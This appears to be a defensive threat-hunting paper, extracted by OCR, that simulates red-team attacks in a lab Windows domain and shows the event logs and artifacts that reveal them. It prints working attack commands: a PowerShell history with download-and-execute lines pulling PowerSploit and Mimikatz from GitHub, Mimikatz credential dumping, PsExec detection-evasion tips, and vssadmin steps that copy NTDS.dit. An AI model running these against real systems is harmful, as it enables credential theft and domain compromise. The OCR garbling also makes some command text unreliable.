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A lot of enterprise networks are under attack or they already have been attacked by the
adversaries. Red teamers or attackers tend to compromise the environments with new ways
and rely on legitimate tools with sophisticated technigues based on their skill levels. On the
other hand, the job of the blue teamers becomes more challenging and difficult as the
attacker only needs to be successful once to gain access. The blue teamers need to
proactively search for evidence of compromise in the environment and think like “the red
teamers” in order to detect and hunt their activities and their techniques across the network
and the endpoints. In this research paper, we demonstrated some of the red team activities
that based on real life scenarios. We have discussed about various forensic artifacts for
hunting the malicious actors and their traces. We also gave an overview about the Yara Rule
for detecting the malwares and the malicious files. At the end of this paper, we created some
effective SIEM use cases for the sake of hunting, monitoring and detecting the demonstrated
scenarios as well as some hunting tips.

Many enterprises nowadays are not aware about the different types of the activities that exist
on their network and in the environment. In fact, they don't know actually if they have been
attacked by some adversaries or some of their servers are compromised. Also, they don't
know if there are attackers that living on their network as well as what the attackers have
been doing so far over the environment (like collecting data, stealing confidential material,
obtaining login credential for lateral movements activities). With the Threat Hunting, you can
proactively search for any suspicious or malicious activities and look for any signs of attacks
or compromises over the endpoints and the network. Also, the threat hunting digs deep to
find malicious actors in your environment that stealthy remain in the network which will
minimize the risk of an environment and decrease the number of the damage.

You can't protect what you don't know about, and understanding forensic capabilities and
artifacts is a core component of information security. In Windows forensic analysis, you'll
recover, analyze, and authenticate forensic data on Windows systems, track particular user
activity on your network, and organize findings for use in incident response, compromised
assessment, internal investigations, and civil/criminal litigation. Whether you know it or not,
Windows is silently recording an unbelievable amount of data about you and your users.
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In order to understand what the red teamers can do in the network and what are the various
techniques and activities that can be achieved, we have built a custom lab environment
dedicated for this purpose and we have simulated some of the red team activities based on
real life scenarios. We'll suppose that an attacker or a red teamer has an initial access to the
network, and hence we will make such malicious activities that can be achieved by the red
teamers (like lateral movements activities) on some of the machines of the network.

On the other hand, we will also simulate the role of the blue teamers and how they can hunt
the red team activities based on the scenarios that we have created, and what the appropriate
ways to investigate, collect and analyze some of the forensic artifacts that can lead the blue
teamers to hunt the red teamers and how to track their activities and the traces left by the
red team.

To make it clear, this is a simple overview of the LAB environment:

=  Domain Controller Server: DC-01 (Active Directory).
=  Windows 7 Client: PC-01 (Domain-Joined Machine)
=  Windows 10 Client: PC-02 (Domain-Joined Machine)
= Firewall (For Internet Access).

= Kali Linux (Attacking Machine).

Note that for the Kali Linux machine, we will use it only to demonstrate one kind of lateral
movement technique. However, most of the red team activities that we simulated on this
LAB are based on legitimate/native tools provided by Windows.

The Network information of the LAB:

=  Domain Name: Haboob.local
= |P Range: 10.10.10.0/24

In this LAB environment, we will suppose that there is no security solution in place on the
network or in the endpoints (like EDR, SIEM, AV, etc.). In fact, we will rely only on the default
Windows logs and artifacts for the purpose of collecting data and investigating the suspicious
activities. However, we are going to use some Open-Source tools that can help us (as a blue
team) to analyze some of the forensic artifacts.
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In this section, we are going to demonstrate some of real life scenarios for hunting and
investigating a number of red team activities. As mentioned previously, we will suppose that
a red teamer has an initial access to the network and has made some malicious activities
over the machines of the domain.

Nowadays, many of the red teamers are dealing with such Remote Execution Tools to execute
their commands remotely and get their jobs done and they rely on the default tools
(administrator tools) that are whitelisted on most of the cases. We will start our scenarios
with the Psexec tool. Psexec is a legitimate tool provided by Sysinternals from Microsoft and
it's being used by most of the administrators on Windows environments. The attackers
usually use this tool to do their malicious activities like lateral movements across the
environment and execute commands remotely. A basic command to get a cmnd.exe session
is by using the below command (as shown in figure 1):

nternalsSuite}PsE \19.18.10.28 -u haboob.local\ali cmd

Windows IP Configuration

Ethernet adapter Bluetooth

-AFOE-DE22EE

: Media disco

Figure 1. Psexec Suspicious Command.

As you can see above, the attacker or the red teamer has executed the malicious command
(from PC-02) and has successfully got a cmd session (PC-01) and has run such commands.
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Event 4648, Microsoft Windows security auditing.

General Details

14 logon was attempted using explicit credentials.

Subject:

Security [D: HABOOB\Al

Account Name: Ali

Account Domain: HABOOB

Logon ID: (x218E258

Logon GUID: {00000D00-0000-0000-0000-000000000000}
Account Whose Credentials Were Used:

Account Name: ali

Account Domain: haboob.local

Logon GUID: {00000D00-0000-0000-0000-000000000000}

Target Server:
Target Server Name: PC-01.Haboob.local
Additional Information: | PC-01.Haboob.local

Process Information:
Process ID: (el
Process Mame:

MNetwork Information:
Network Address: 10.10.10.20 |

Port: 445
Log Mame: Security
Source: Microsof‘tWindowssecuritﬂ Logged: 3/7/2020 7:33:04 PM |
Event ID: 4648 | Task Category: Logon
Level: Information Keywords: Audit Success
User: MN/A | Computer: PC-OZ.Haboob.IocaI_I

Figure 2. Windows Event ID (4648) from Source Machine.

On the above event, you can see that the event type is (Security Event) and the event ID is

4648 and all the details of this activity that captured from the source machine like the user

being used to execute command (Haboob\Ali), the target server which (PC-01.Haboob.local)

and the IP of the server (10.10.10.20) as well as the time of the activity and the source of

machine.
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We can also detect this activity from the destination machine with two event IDs (4624, 4672):

Event 4624, Microsoft Windows security auditing.

General | Details

An account was successfully logged on.

Subject:

Security ID: MNULL 5ID
Account Name: -
Account Domain: -

Logon ID: 00

Logon Type: 3
Mew Logon:
Security ID: HABOOB\AI
Account Mame: Ali
Account Demain: HAEOCE
LogonID: Oxeldcc3
Logon GUID: {00000000-0000-0000-0000-000000000000}

Process Information:
Process I (%]
Process Name: =

MNetwork Information:
Workstation Mame: PC-02
Source Network Address:  10.10.10.30
Source Port: 49800
Log Name: Security
Source: Microsoft Windows security |Lugged: 3/7/2020 8:52:58 PM |
Event ID: 4624 | Task Category: Logon
Level: Information Keywords: Audit Success
User: N/A |C0mputer: PC-01.Haboob.local |

Figure 3. Windows Event ID (4624) from Destination Machine.

Event 4672, Microsoft Windows security auditing.

General | Details
Special privileges assigned to new logon.
Subject:
Security ID: HABOOB\AlL
Account Mame: Ali
Account Domain: HABOOB
Legon ID: Oxeldcc3
Privileges: SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDriverPrivilege
SelmpersonatePrivilege
Log Mame: Security
Source: Microsoft Windows securityl Logged: 3/7/2020 8:52:58 PM |
Event ID: 4572 I Task Category: Special Logon
Level: Information Keywords: Audit Success
Usen MN/A | Computer: PC-01.Haboob.local |

Figure 4. Windows Event ID (4672) from Destination Machine.
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There is an artificat to know if the psexec has ever been run by any user or not. Basically
whenver a user executes a command, a Psexec service will be generated on the target
machine and will leave a file on the path C:\Windows with the name (PSEXESVC):

@Q | | » Computer » Local Disk (C) » Windows »

Qrganize + Include in library + Share with = MNew folder
% Fovores teme ; Detemosfied | Type s

P Desktop Tasks 7/14/2000 8:08 AM  File folder
& Downloads Temp 3/7/2020 8:53 PM File folder
= Recent Places tracing 7/14/2009 5:34 AM  File folder
twain_32 7/14/2009 8:32 AM File folder
i Libraries Vss 7/14/2009 6:20 AM  File folder
7 Documents Web 7/14/2009 8:32 AM  File folder
JT Music winsxs 3/2/2020 2:43 PM File folder

| Pictures [ bfswe 11/21/2010 6:24 AM  Application 70 KB

[ videos | bootstat.dat 3/3/2020 6:38 PM DAT File 66 KB

| Dtclnstall 3/3/202012:44 AM Text Document 3KB

1% Computer il explorer 11/21/2010 6:24 AM  Application 2,805KB

[ fveupdate 7/14/2009 4:39 AM Application 15K

€ Network @ HelpPane 7/14/2009 4:39 AM  Application 717 KB

@ hh 771472009 4:39 AM  Application 17KB

| mib.bin 7/14/2009 2:06 AM  BIN File 43K

4 | msdfmap 6/10/2009 11:36 PM  Cenfiguration sett... 2KB

j notepad 7/14/2009 4:39 AM  Application 189 KB

= PFRO 3/3/2020 6:38 PM Text Document 5KEB

| =7 PSEXESVC 3/7/2020 8:53 FM I Application 159 KB

ﬁ regedit 7/14/2009 4:29 AM Application 417 KB

| setupact 3/3/2020 6:38 PM Text Document 22 KB

|| setuperr 771472008 T:51 AM Text Document 0KB

Figure 5. PSEXESVC File on the Target Machine.

It will also generate an event of a service that has been created (from system events) for the
same service (PSEXECSVC.exe) with the event ID (7045):

Event 7045, Service Control Manager

General | Details

A service was installed in the system.

Service Name: PSEXESVC

Service File Name: %aSystemRoot%:\PSEXESVC.exe
[Service Type: user mode service

Service Start Type: demand start

Service Account: LocalSystem

Log Mame: System

Source: Service Control Manager | Logged: 3/1/2020 8:52:58 PMl
I EventID: 7045 I Task Category: Mone

Level: Information Keywords: Classic
[ User HABOOB\AIi | [Computer:  PC-01.Haboob.local|

Figure 6. PSEXESVC Windows Event ID (7045) from Destination Machine.
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You can also detect the creation of this service on the below registry key:

File Edit View Favorites Help

> -l PolicyAgent = | Name Type Data
ey PortProxy 3B (Default) REG_SZ (value not set)
> Power ab|DisplayName ~ REG_SZ
- Ef;i::;'rpm % ErrorControl REG_DWORD 000000000 (D)
5> i ProfSuc E_ﬂlmagepath REG_EXPAMD_SZ FeSystemRoot %\ PSEXESVC, exe
» 1} ProtectedStorege b ObjectMame REG_SZ LocalSystem
: ) 5% Start REG_DWORD 000000003 (3)
) Type REG_DWORD 000000010 (16)

- ] pvscst
-~ 1) gl2300

Figure 7. Registry Value for the Service (PSEXESVC).

Speaking of the registry, there is an artifact in which you can detect any Sysinternals tool
(Psexec in our case). The registry value will log the first execution of the tool (after accepting
the Eula in the command line or in GUI):

ﬁ Registry Editor
File Edit View Favorites Help
Computer\HKEY_USERS\5-1-5-21-3383766964-1297818350-1736902504- 1112\ Software' Sysinternals\PsExec

v-l; Computer Name Type Data
- :EE:—EUU;{;SE‘%RS;L a5 (Default) REG_SZ (value not set)
- - [#%EulaAccepted  REG DWORD DxD000000T (1)

.|| HKEY_LOCAL_MACHINE
v .| | HKEY_USERS
. DEFAULT
5-1-5-18
5-1-5-19
5-1-5-20
5-1-5-21-3583766064-1297818350-1736002504-1109
.|| §-1-5-21-3583766964-1297818350-1736902504-1109_Classes
v .| | 5-1-5-21-3583766964-1297212350-1736902504-1112
- AppEvents

Console
Control Panel
..... Environment
) EUDC
- Keyboard Layout
v .| | Software
, .|| Classes
Google
Microsoft
Policies

w - | Sysinternals
i.8 PsExec

Figure 8. Registry Value for the Psexec Execution from Source Machine.

As you can see in figure 8, the registry has logged a value for the Sysinternals tool (Psexec)
when it has been executed for the first time on the source machine. This also will help you to
know if any of the Sysinternals tools has ever been executed on a machine.

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa 1
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Red Team Tip 1: you can change the service name to another name so you can avoid some
detection mechanisms used by security solutions. You can use the switch (-r) along with the
name of the service you want to be created on the target machine:

\\1€.16.18.20 -u haboob.lo

Figure 9. Psexec Command with the Switch (-r).

The result is a new service name (HaboobSVC):

Organize » || Open - Print Mew folder
¢ Favorites MName T-,.'pe Size
B Desktop TAPI File folder
Tasks File folder
4 Downloads )
= Recent Places Temp File folder
tracing File folder
=5 Libraries twain_32 F!|E folder
Y Documents Vss File folder
P . Web File falder
@' Music
. winsxs File folder
k| Pictures
B Applicati 70
B Videos bfsve pplication 0 KB
|| bootstat.dat 3 0 DAT File 66 KB
18 Computer | Dtclnstall 3 12:44 AM Text Document KB
- explorer 11/21/2010 6:24 AM  Application 2,805 KB
— CE F/14,2 39 AN Applicati 5
€ Network '_“f\reupdate 14,2 39 AM pplication 15 KB
| =1 Haboobsve 3/7/202010551 PM |  Application 159 KB
'@' HelpPane 7/14/2009 4:39 AM Application TITKE

Figure 10. HaboobSVC File on the Target Machine.

This is a good way to avoid some of the detection techniques used by the blue team. Think
about if there is a rule to detect any file created with the name (PSEXESVC), with the switch
(-r), the service name will be changed to a custom name chosen by the malicious user.

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa 12
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Red Team Tip 2: there is a famous module on the Metasploit which will create a random
service name and then it will be deleted automatically on the same time. This also will help
you to avoid some detection mechanisms used by security solutions:

msf5 exploit( ) = exploit

e TCP handler on 10.10.10.50:4444
- Connecting to the = il
- Authenticating 10.10
. bthomXI

> sysinfo
: PC-01
S : Windows 7 (Build 7601, Service Pack 1)
Architecture
m Language : |
: HABOOB
: 9
x86/windows

s [Version 6.1.7601]
ight (c) 2009 Microsoft Corporation. All rights reserv

C:\Windows\system32=hostname
hostname
PC-081

Figure 11. Psexec Module on Metasploit.

As a blue teamer, you have to be careful with the above red teaming technigues and always
check the path C:\Windows for any created abnormal file with a suspicious name, also you
can check the registry value to detect any random service name like the one we just created
(HaboobSVC):

File Edit View Favorites Help
Fs_Rec || Name Type Diata
FeDepends ab] (Default) REG_SZ (value not set)
fuevel 25| DisplayName ~ REG_SZ
3 gaogoflzgromeﬂe\ration service %) ErrorControl REG_DWORD 0:00000000 (@)
gpsve ab|ImagePath REG_EXPAND_SZ | %SystemRoot%\HaboobSVC.exe |
_____ gupdate ab| ObjectName REG_SZ LocalSystem
_____ qupdatem 4] Start REG_DWORD 0x00000003 (3)
_____ I —— | 54| Type REG_DWORD 0:00000010 (16)
hews5ar

Figure 12. Registry Value for the Service (HaboobSVC).

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa 13
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Windows Prefetch Artifact:

We can hunt the Psexec activity from a known artifact which is (Prefetch). Windows Prefetch
is a memory management feature introduced in Windows XP and Windows Server 2003. It is
used to speed up the Windows boot process and the application startup process. The Prefetch
are stored under %SystemRoot%\Prefetch. Prefetch files contain various metadata, like:
executable name, run count, volume information, files and directories referenced by the
executable, and of course, timestamps.

BH WinPrefetchView - X
File Edit View Options Help

(X HR =g aa

Filename Created Time Modified Time File Size  Process EXE Pracess Path Run Counter  Last Run Time
[ OSRSSUPDATE.EXE-9F... 3/7/2020 7:A0:08 PM  3/7/2020 7:40:08 PM 1,881 OSRSSUPDATEEXE  C:\Windows!\Temp\266373781\OSRSSUPDATE.EXE 1 3/7/2020 7:3%:58 PM
[EIPING.EXE-167FEQEB.pf  3/2/2020 3:04:36 PM  3/3/2020 10:43:25 AM 2,967 PING.EXE CAWindows\ System32\PING.EXE 10 3/3/2020 10:43:24 AM, 3/3/2020 10:40:49 AM, 3/3/2020 10:40:48 AM, 3/3/2020 10:40:45 AM

¥ POWERSHELL.EXE-02.

/2020 7.08:33 PM_ 3/5/20208:09:20PM 40027 POWERSHELL.EXE ystem32\WINDOWSPOWERSHELL w1 O\POWERSHELLEXE 5 3/5/2020 8:08:10 PM, 3/4/2020 7:11:34 PM, 3/4/2020 7:11:25 PM, 3/4/2020 7:10:45 PM, 3/4/

[ PSEXECHA.EXE-74B005... 3/7/2020 7:33:04PM__ 3/7/20208:53:06 PM | 6,108 PSEXECE4.EXE ayan\Desktop\SYSINTERNALSSUITE\PsExechd.exe 4 3/7/2020 8:52:56 PM, 3/7/2020 7:39:45 PM, 3/7/2020 7:38:40 PM, 3/7/2020 73254 PM |
* PYTHON.EXE-59CFAT... 3/5/2020805:42PM  3/7/20208:37:01 PM 13,883 PYTHON.EXE CA\Python27\python.exe i 3/7/2020 8:37:00 PM, 3/7/2020 8:30:01 PM, 3/7/2020 7:48:19 PM, 3/5/2020 8:14:21 PM, 3/5/

[EIRDSPNF EXE-TF7D409... 3/2/2020 21B:50PM 372/, :10:50PM 6,950 RDSPNF.EXE CAWindows\System32\RDSPnf.exe 1 3/2/2020 2:10:43 PM

[EIREG.EXE-6ABBE960.pf  3/4/20207:11:08PM 377, 9:25PM 7,889 REG.EXE CAWindows\System32\reg.exe 15 3/7/2020 8:29:25 PM, 3/7/2020 7:50:00 PM, 3/7/2020 T:4T:40 PM, 3/5/2020 8:13:58 PM, 3/5/
[EIREG.EXE-CCTAFOAL.pf  3/7/2020T:421TPM  3/7/2020 7:42:17PM 2,794 REG.EXE CAWindows\SysWOWB4\reg.exe 5 3/7/2020 T:42:17 PM, 3/7/2020 T:42:17 PM, 3/7/2020 7:42:17 PM, 3/7/2020 T:42:17 PM, 3/7¢
B REGEDIT.EXE-246AC2... 3/3/2020 %:57:39 PM__3/3/2020 G:58:34 PM__ 7,204 REGEDIT.EXE CAWindows\regedit.exe 2 3/3/2020 9:58:24 PM, 3/3/2020 9:57:29 PM

Figure 13. Prefetch Files.

Properties =

Filename: |[PSEXECE4.EXE-7 ABO0SEB.pt |
Created Time:  [3{7/2020 7:33:04 PM |
Modified Time:  [3/7/2020[8:53:06 PM |

File Size: [6.109

Process EXE: |PSEXECBd.EXE

Process Path: |C:'-.Users'-.Flayan'-.DeskluptSYSINTERNALSSUITE\.PSE|
Run Counter: |4 |
Last Run Time:  [3/7/2020 8:52:56 PM, 3/7/2020 7:39:45 PM, 3{7{2020|

Missing Process: |Nn |

Figure 14. Prefetch Files (Psexec).

We can clarify that there are a number of executed files (as shown in figure 13), one of them
is Psexec tool. You can also see how many times the Psexec has been run, the path of the
file, and last run times (figure 14). Prefetch is a great forensic artifact which any DFIR
specialist or blue teamer has to use it in order to hunt their enemies.

Copyright © 2020 Haboob httpSo/ftameHeaininghedsoob.sa T4
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Shimcache Artifact:

Shimcache, also known as AppCompatCache, is a component of the Application Compatibility
Database, which was created by Microsoft and used by the Windows operating system to
identify application compatibility issues. This helps developers troubleshoot legacy functions
and contains data related to Windows features. It is used for quick search to decide whether
modules need shimming for compatibility or not. The ShimCache stores various metadata,
such as: File Full Path, File Size, Last Modified time, Process Execution Flag.

As a threat hunter, we can hunt the Psexec activity (and other activities) with Shimcache:

PS C:= \Pythnnz'?) -“python.exe C: s \Ahned\Desktop nCacheParser—mastersShimCacheParser.py —i C:\Users\Ahmed“Desktop“SYSTEM

ten32\Sea1chF11tetHovt exe M/A True
tem32\EearchProtocolHost.exe N/A True

-d11
y.,temZiZ\EhSthhall dll N/ﬂ False

Figure 15. Shimcache Results.

P& G:\Python2?> _“python.exe C:“Users:Ahmed:Desktop:S8hinCacheParser—mastersShinCacheParser.py —i C:\Users‘Ahned\Desktop“S¥YSTEM ! Select—String “psexesuvc"

IBS/B?/ZB 18: 4?2 N-A G: \lhndnu..\PSEHESUC exe N/A True
03./87-28 17: 3 o N/A True
H/A True

N/A True

N-A True

N/A True

H/A True

N/A True

N/A True

N/A True

True

True

/A True

True

True

True

True

False

False

False

False

ndous\PSEXESUC .exe False

/A ndows\PSEXESUG . exe False
N-A C:\Windows\PSEXESUC _exe False
|83,83 28 15 H-A C:\Windows\PSEXESUC.exe False

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

Figure 16. Shimcache Results for PSEXESVC.

You can see on the above figures that we used a Shimcache parser tool to extract the cache
information from the registry hive (SYSTEM). The results are a quite number of tools and files
that whether has an execution flag or not. In our case, the Psexec tool is indeed has been
executed and the execution flag is set to (true).
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PowerShell is very known to the attackers and the red teamers. They often use PowerShell
to achieve their goals and make the job easier. There are common PowerShell scripts that
can be used for enumeration, privilege escalation and persistence. In this scenario, we will
demonstrate that an attacker has used some suspicious PowerShell scripts and executed
malicious commands to achieve the attacker’s goal in the network.

As a threat hunter, we have to always check the PowerShell events in order to detect any

kind of malicious or suspicious commands:

Event 600, PowerShell (PowerShell} .

General Details

Provider "Environment” is Started.

Details:
ProviderMame=Environment
NewProviderState=Started

SequenceMumber=5

HostName=ConsoleHost

HostVersion=5.1.15063.1387

Hostld=319%fal1b-alba-4633-b3h4-88493d48db13

HostApplication=C:\Windows\System32\WindowsPowerShell\w1 .0\ powershell.exe -ExecutionPolicy bypass |
ngineversion=

Runspaceld=

Pipelineld=

CommandName=

CommandType=

ScriptMames=

CommandPath=

CommandLine=

Log Mame: Windows PowerShell
Source: PowerShell (PowerShell) Logged: 4/10/2020 8:09:01 PM
Event ID: 600 Task Category: Provider Lifecycle
Level: Infermation Keywords: Classic
User: N/A Computer: PC-02.Haboob.local
Figure 17. PowerShell Event ID (600).
Event 4104, PowerShell (Microsoft-Windows-PowerShell) 4

General Details

Creating Scriptblock text (1 of 1):
powershell -ExecutionPolicy bypass

ScriptBlock |D: ac53bala-5a17-49a6-9f60-fadd 3d19df38
Path:

Figure 18. Microsoft-Windows-PowerShell Event ID (4104).

In the above events, we see that some users have bypassed the execution policy of the
PowerShell. This activity is usually done by malicious users to allow them for running such
scripts which by default the policy is set to “Restricted”. Therefore, it prevents the execution
of PowerShell scripts. The events that triggered this activity can be found on (PowerShell
events “Figure 17") and (Microsoft-Windows-PowerShell events “Figure 18").
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After going through the events, we have observed the below suspicious event:

Event 4104, PowerShell (Microsoft-Windows-PowerShell}

General  Details

Creating Scriptblock text (1 of 31):
Frequires -version 2

<

PowerSploit File: PowerView.ps1
Author: Will Schreeder (@harmjly)
License: BSD 3-Clause

Required Dependencies: None
Optional Dependencies: None

£
# PSReflect code for Windows APl access

# Author: @mattifestation

# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect. psm
#

function New-InMemoryModule
i v

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 9:42:34 PM

Event ID: 4104 Task Category:  Execute a Remote Cornmand
Level: Warning Keywords: MNone

User: HABOOB'\Rayan Computer: PC-02 Haboob.local

Figure 19. Suspicious Script 1 - Microsoft-Windows-PowerShell Event ID (4104).

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (26 of 31):
ounts' or
'ssn’ in the name, and write everything to "out.csv”

JLINK
https/www.harmjly.net/blog/redteaming/file-server-triage-on-red-team-engagements/

&

[CrdletBinding()]

param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('Hosts")]
[Stringf]]
SComputerName,

[ValidateSeript{{Test-Path -Path 5_ }]]
[Alias({'HostList')]

[String]

SComputerFile,

[String]
SCommuterFilter
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 9:42:34 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: Mone
User: HABOOB\Rayan Computer: PC-02.Haboob.local

Figure 20. Suspicious Script 2 - Microsoft-Windows-PowerShell Event ID (4104).

We can see that a malicious script has been executed on the target machine (PC-02). The
script is PowerViewwhich isa famous PowerShell module that its main goal to enumerate

the target domain (like enumerating domain users, groups, computers, GPOs, ACLs).
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Event 4104, PowerShell (Microzoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 220):
function Invoke-Mimikatz

<z
.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in nemory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerMame parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Function: Invoke-Mimikatz

Author Joe Bialek, Twitter: @JosephBialek

Mimikatz Auther: Benjamin DELPY “gentilkiwi’, Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/

Required Dependencies: Mimikatz (included)

Optional Dependencies: None

Mimikatz version: 2.0 alpha (12/14/2015)

.DESCRIPTION
Log Mame: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 4/10/2020 8:09:20 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: Mone
User: HABOOB\Rayan Computer: PC-02.Haboob.local I

Figure 21. Suspicious Script 3 - Microsoft-Windows-PowerShell Event ID (4104).

This time we have detected the Mimikatz PowerShell script from Benjamin (the author of this
tool). It's clearly that the attacker has first enumerated the machine with PowerView then
downloaded the Mimikatz and dumped the passwords of the logged in users from memory.

There is another great source for the PowerShell history commands which is
(ConsoleHost_history.txt). The file records all the commands typed by any

a file called
user in the

PowerShell terminal. By default, it will save all the typed commands (starting from

PowerShell V5 on Windows 10). Actually, this is a good forensic artifact in which

we can hunt

for malicious commands of any suspected compromised user (or se it proactively for

hunting). See the figure 22 for the location of the file.

(e =1 SearchTools  PSReadline
Home Share View Search

< v > Rayan » AppData » Roaming » Microsoft » Windows » PowerShell » P5Readline

Mame Date modified Type Size
5+ Quick access

= ConsoleHost_history.bdt 4/10/2020 8:31 PM Text Document 4KB
[ Desktop = — Y

4 Downloads
|| Documents
&= Pictures
J’! Music

B Videos

@ OneDrive

v O

Figure 22. PowerShell History File Location.
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After opening the file, we can see all the commands that have been typed as shown below:

| ConsaleHost_histarytit - Notepad - m] X

Eile Edit Format View Help
net users

net users [domain

powershell -ExecutionPolicy bypass

iex (MNew-Object Met.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.psl')
Get-NetDomain

Get-NetGroup

Get-NetGPO

Find-LocalAdminAccess

Invoke-UserHunter

cd C:\

dir

ipconfig

iex (New-Object Met.WebClient).DownloadString( https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.psl™)
Invoke-Mimikatz -DumpCreds

Invoke-Mimikatz -Command "“privilege::debug” "sekurlsa::logonpasswords” exit’-ComputerMame PC-@1
net localgroup "Administrators”

net group "Domain Computers” /domain

net group "Domain Admins" /domain

nslookup PC-@1

ping 10.10.1@.2@

Enter-PSSession -ComputerName PC-81 -Credential Haboob.locallAli
Enter-PSSession -ComputerName PC-81 -Credential Haboob.local\Ali
ipconfig.exe

hostname

exit

Invoke-Mimikatz -DumpCreds

net group "Domain Controllers” /domain

nslookup DC-81

ping 10.10.18.16

Enter-PSSession -ComputerName DC-81 -Credential haboob.locallali
ipconfig.exe

exit

Figure 23. The Content of the PowerShell History File.

We can confirm that the whole target domain is compromised from the above commands
(Figure 23). Basically, the attacker or the red teamer has used the malicious scripts as we
explained before (PowerView.ps1 and Mimikatz.ps1). Then, he dumped the passwords of
another computer (PC-01) from the memory by using the (Invoke-Mimikatz). After that, he
enumerated the Domain Controllers of the current domain (Haboob.local). Then, he
connected to the DC-01 using a Domain Admin credentials (Ali) with the PowerShell Remoting
(PSSession). Moreover, we can confirm this activity by checking the Windows security events:

Event 4648, Microsoft Windows security auditing.

General  Details

A logon was attempted using explicit credentials.

Subject:

Security |D: HABOOB\Rayan

Account Name: Rayan

Account Domain: HABOOB

Logon ID: 030154

Logon GUID: {00000D00-0000-0000-0000-000000000000}
Account Whose Credentials Were Used:

Account Name: ali

Account Domain: HABOOB.LOCAL

Logon GUID: {00000D00-0000-0000-0000-000000000000}

Target Server:
Target Server Name: DC-01
Additional Information: ~ HTTP/DC-01

Process Information:
Process ID: D164
Process Name: |C:\Windows\SystemBZ\WindowsP owerShell\w1.0\powershell.exe |

Figure 24. Attacker Successfully Connected to DC - Windows Security Event ID (4648).
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NTDS.dit file is a database of the Active Directory that stores all the information about user
accounts, groups, password hashes. Whenever an attacker or a red teamer has Domain
Admin privileges (as demonstrated on the previous scenario) and connects to the Domain
Controller (DC), he usually collects the NTDS.dit file from the DC in order to dump the file and
extract all the password hashes of all the domain users including the high privilege accounts
(such as Domain Admins) and then he can crack the passwords offline to get clear text
passwords.

This activity (stealing the NTDS.dit file from DC) is usually done by using the vssadmin utility
from Windows which will enable the creation of shadow copies for any drive (C drive in our
case). This will allow the attacker to copy any file on the disk even if the file is running and
cannot be copied in a normal case (such as NTDS.dit file which cannot be copied). Below is
the command to create a shadow copy for C drive and copy the NTDS.dit file:

C:sMindowsssysten3d2 dussadmin list shadows
vgsadmin 1.1 — Uolume Shadow Copy Service administrative command-line tool
(G> Copyright 2081-2813 Microsoft Corp.

Contents of shadow copy set ID: {Pe5233fh-8add4-4283-adaa—c5fde?514d64>
Contained 1 shadow copies at creation time: 4-11-2828 3:-44:85% AM
Shadow Copy ID: {1f5a@b6?-988c—425bh—h5h7-70587cBBB2dd>

Original Volume: O\ \?“\Uoplume{717aaehc—5cd2-11ea—80h4-BB6ebfbebTaIININNT
“Uolume{?17aaebc—5cd2—11ea—-80h4-8B6ebfhebF633

Shadow Copy Volume: “N?GLOBALROOI“Device“HarddiskUolumeShadowCopyl

Originating Machine: DC-#1.Habhoob.local

Service Machine: DC-81.Habhoob.local

Provider: ’'Microsoft Software Shadow Copy provider 1.8°

Type: ClientAccessible

Attributes: Persistent,. Client—accessible. Mo auto release,. Mo writers.
Differential

C:xMindowsssystend2 pussadmin create shadow ~for=C:
vgsadmnin 1.1 — Uolume Shadow Gopy Service administrative command—-line tool
(G> Copyright 2081-2813 Microsoft Corp.

Successfully created shadow copy for *C:iv’
Shadow Copy ID: {564fbbeb—haib—4382-b7?4d—aab2fcccl536>
Shadow Copy Volume MName: ““\7N\GLOBALROOT“Device“HarddiskUolumeShadowCopy2

C:sMindowsssystend2 dcopy SSTWNGLOBALROOTADevicesHarddiskUolumeShadowCopyZ2sHindows
“Syzten32sconf ig~EYETEH C:~EYETEM._hive
file<s> copied.

C:sMindowsssystend2 dcopy SW?WGLOBALROOTADevicesHarddisklUolumeShadowCopyZ2sHindows
SNIDESNTDS .dit CG:“NTDS.dit
file<s> copied.

Figure 25. Vssadmin Command and Copy NTDS.dit.

We can detect this activity from the Windows events (system events) with the ID (7036):

Event 7036, Service Control Manager

General | Details

The Microsoft Software Shadow Copy Provider service entered the stopped state.

Figure 26. Shadow Copy Event — System Event ID (7036).

Copyright © 2020 Haboob httpSc/ftameHAeanirgnetsoob.sa 20



HA3CO3

After investigating the security events, we found another event for using the vssadmin utility:

Event 4904, Microsoft Windows security auditing.

General | Details

|An attempt was made to register a security event source.

Subject:
Security ID: SYSTEM
Account Name: DC-015
Account Domain: HABOOCE
Logen ID: 3E7
Process:
Process |D: xacc

Process Name:  C:\Windows\System32\VS5VC.exe |

Event Source:
Source Name:  V5SAudit
Event Source ID:  (xC4A35

Figure 27. Vssadmin Process - Security Event ID (4904).

Also, this activity has been triggered in the Windows event (application event):

Event 13, WSS

General | Details

Volume Shadow Copy Service information: The COM Server with CLSID {e5792b5f-1ccd-44b4-bed8-de02811f0623} and nare Coordinator cannot be started. [(x80070005, Access is denied.

Figure 28. VSS Shadow Copy - Application Event ID (13).

There is a great artifact for which you can observe and detect any shadow copy has been
